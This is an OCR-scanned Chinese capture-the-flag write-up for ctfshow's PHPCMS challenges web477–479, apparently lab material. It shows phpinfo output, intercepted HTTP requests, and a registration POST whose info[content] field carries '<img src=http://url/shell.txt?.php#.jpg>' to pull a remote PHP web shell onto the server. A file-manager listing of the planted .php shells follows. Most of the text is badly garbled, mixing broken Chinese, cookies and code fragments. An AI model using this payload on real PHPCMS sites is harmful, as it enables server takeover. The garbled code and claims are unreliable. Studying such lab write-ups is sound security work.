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TRESERR 11111111117}<2php phpinfo(?>
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Php

System

Linux 70b704e60a2d 5.4.0-88-generic #99-Ubuntu SMP Thu Sep 23 17:29:00 UTC 2021 x86_64

Build Date

Jan 31 2019 01:29:58

‘Configure Command

"_build -

¢ I' '--with-config-file-path=/usr/local/etc/php' '--with-config-file-
/usr/local/etc/php/conf bl i hecking=fatal' '--with-mhash' '--enable-ftp" '--
enable-mbstring' --enable-mysqind’ '--with-curl’ '--with-libedit’ '--with-openssI' '--with-zlib’ '--enable-
fpm' *--with-fpm-user=www-data’ *~-with-fpm-group=www-data' "--disable-cgi’ ‘build_alias=x86_64-
linux-musl* 'CFLAGS =-fstack-protector-strong *-fpic' '-fpie '~ FLAGS=-WI,-O1 "-WiI,--hash-
style=both' *-pie” 'CPPFLAGS=-fstack-protector-strong '-fpic’ *-fpie' -02"

=

Server API FPM/FastCGl
Virtual Directory Support disabled
Configuration File (php.ini) Path Just/local/etc/php

Loaded Configuration File

Just/local/etc/php/php.ini

Scan this dir for additional .ini files

Jusr/local/etc/php/conf.d

Additional .ini files parsed

/usr/local/etc/php/conf.d/docker-php-ext-gd.ini, /usr,
Jusr/local/etc/php/cont.d/docker-php-ext-
pdo_mysqlini

o T Lini
php, php ysql.ini,
I/etc/php/conf.d/docker-php-ext-

PHP API 20131106

PHP Extension 20131226

Zend Extension 220131226

Zend Extension Build API220131226,NTS
PHP Extension Build API20131226,NTS
Debug Build no

Thread Safety disabled

Zend Signal Handling disabled
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Request Response

Pretty [iCIVl Hex \n = Pretty JREY"N Hex Render \n

HTTR/1.1 200 OK

Server: nginx/1.21.1

Date: Mon, 24 Jan 2022 03:17:43 GMT
Content-Type: text/html; charset=utf-8
Connection: close

Cache-Control: private

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache

Vary: Accept-Encoding

0 H-Powered-By: PHP/5.6.40
Content-Length: 661

1 POST /index.php?m=nenbersc=indexsa=registerssiteid=1 HTTR/1.1
2 Host: 02db4699-6490-446c-b26b-f2d0d19aeE62. challenge. ctf. show
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =64; rv:96.0) Gecko/20100101
Firefox/96.0
4 Accept:
text/htnml, application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp, */*;q=0.8
S Accept-Language: zh-CN,zh;q=0.8,2h-TW;q=0.7,2h-HK;q=0.5, en-Us;q=0.3,en;g=0.2
€& Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 158
9 origin: http://02dbd4699-6490-446c-b26b-£2d0d19ae662. challenge. ctf. show
10 Connection: close
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11 Referer: <div style="font-size: 1Z2px;text-align:left; border:lpx solid #9cc9el; padding:lpx

http://02db4699-6490-446c-b26h-f2d0d19ae662. challenge. ctf. show/ index. php?m=membersc=ind 4px;color: #000000; font-family:Arial, Helvetica,sans—serif; "><span><b>MySQL Query : </b>
exga=registerssiteid=1 INSERT INTO “phpcmsv®'. v9 member_detail® (‘content', ‘userid') VALUES ('&lt;img

12 Cookie: UM_distinctid=17e42h&B1fc520-03c971fcEf49628-4c3e207£-144000-1742b681Ed52h; src=http://02db4699-6490-446c-b26b-£2d0d19ae662. challenge . ctf. show/uploadfile/2022/0124
PHPSESSID=nf3opolq3fit7ijguubssltd76; cFeew_siteid= 124111743698, phpegt: ", "10") <br /><b> MySQL Error : </b>Unknown column 'content'
feceSedkI-hzpPzL_0_9HOcpmOBQeP7_-p_gS5R_xUo; cFeew_admin_email= in 'field list' <br /> <b>MySQL Errno : </b>1054 <br /><b> Message : </b> <br /><a
ae9fvgHI3k4BREQD] Jywv-N1kCCCIRIpR59-2vmSx_qBpATIABgING; cFeew_sys_lang= href="
SdcenphQeyS2EfqnHKB129ihn03nLIE VMI 4HHSMQEEZ1Q http://faq. phpcms. cn/?errno=1054amsg=Unknown+columnt$27content $27+in+$27field+list 527

13 Upgrade-Insecure-Requests: 1 target='_blank' style='color:red'>Need Help?</a></span></div>]

14

15 siteid=lsmodelid=1lsusername=test452&password=test2123semail=test21546163. cons
info[content]=<img src: &dosubmit=leprotocol=
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siteid=1&modelid=11&username=test452&password=test2123&email=test2154@163.com&info[content]=<img src=http:/

REAWMERA, B—ANLUAASTUEESphpXfh, KEEMIA U H, HESEHE, —aEREEHI
17, Bt B m, WRRMEZILEHRILR, KEMRERBEERME. KSHE.

B FexI$valueth Y5 ST TN, SRS EMIILE :

text = 'gif|jpeljpeglbmp|png’;

$string = new_stripslashes($value);

if(lpreg match all("/(href|src)=([\"]|"12)([~ \"'>]+\. ($ext)
mﬂﬂﬁﬁﬁ)\iﬁﬁsrc/href:url.(giﬂ_ipgUpeglbmp|png), FEA10Y payload ( <img src=http://url/shell.txt?.php#.ipg> ) FFER—8L (X
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4 = [0101.34.230.193 (0 101.34.230.193 »
O BE31E (0) < | O cHeaER(7) A
=Nl Ok v A+¢LE CREF &®FEFE MBEE v jvar/www/html/uploadfile/2022/0124/ > EW
S 21 B o Bt
=0 www .
I ] 20220124104735991.php 2022-01-24 02:47:35 109 b 0777
5P uploadile 20220124110919909.php 2022-01-24 03:09:19 132b 0777
S 202 20220124111222904.php 2022-01-24 03:12:22 369b 0777
M 0124 20220124111325365.php 2022-01-24 03:13:25 2b 0777
20220124111342391.php 2022-01-24 03:13:42 2b 0777
20220124111730592.php 2022-01-24 03:17:30 31b 0777
) 20220124111743698.php 2022-01-24 03:17:43 31b 0777
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FOLDERS 4 P> echoand print-3 | pocphp
v PHP <?php
» BB php-1 )5
> B0 PHPIiERER 7 ($input){

remainder ($input) % 4;
if ($remainder) {
padlen 4 remainder;
input ('=', $padlen);

($input, "-_1", "+/%

operation DECODE ",

($key key : iPHP KEY);
keya (¢ (fkey, 0, ))
keyb (¢ ($key, 16, 16));
keyc ckey_length ? (%operation DECODE ($string, @, $ckey_length)
ckey length)) 3
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ICIVIS +#22 wxa- ®@s | a@s- AEH-  ATE- 635 > N

[€] # cifshow{ e

HiZEE SEEE ISR Pt il = HuEEEEE EE
all SRR
& 0 x=eg B 0 x=ux 2 0 = = 145.96 KB ==
& 0 mmpe EO == ® 0 e # 41 cus=
& 32w D0 miss Q3 0 pss 0 =os v
O D2 Dasa O N Osess Oue Orr Bew  xEmms B ames @ Hadear ) Max Hackear 0n D@ [ - X
¥ mEEEE + @
» B cookie
» B wireng
» B aistem
» @ Indexed DB
= e . SDN @S =K

0x04 M4

CMSRFIFHRE T, REFEF. FEAUNKEICMSH MARAJRFEZITEAT, M7 JUEREMRREHER
BREARZBR, ERFEH T EHTREN T AR LEGE L.



	ctfshow CMS系列writeup（web477-web479）
	0x01 Web 477
	0x02 Web 478
	0x03 Web 479
	0x04 总结


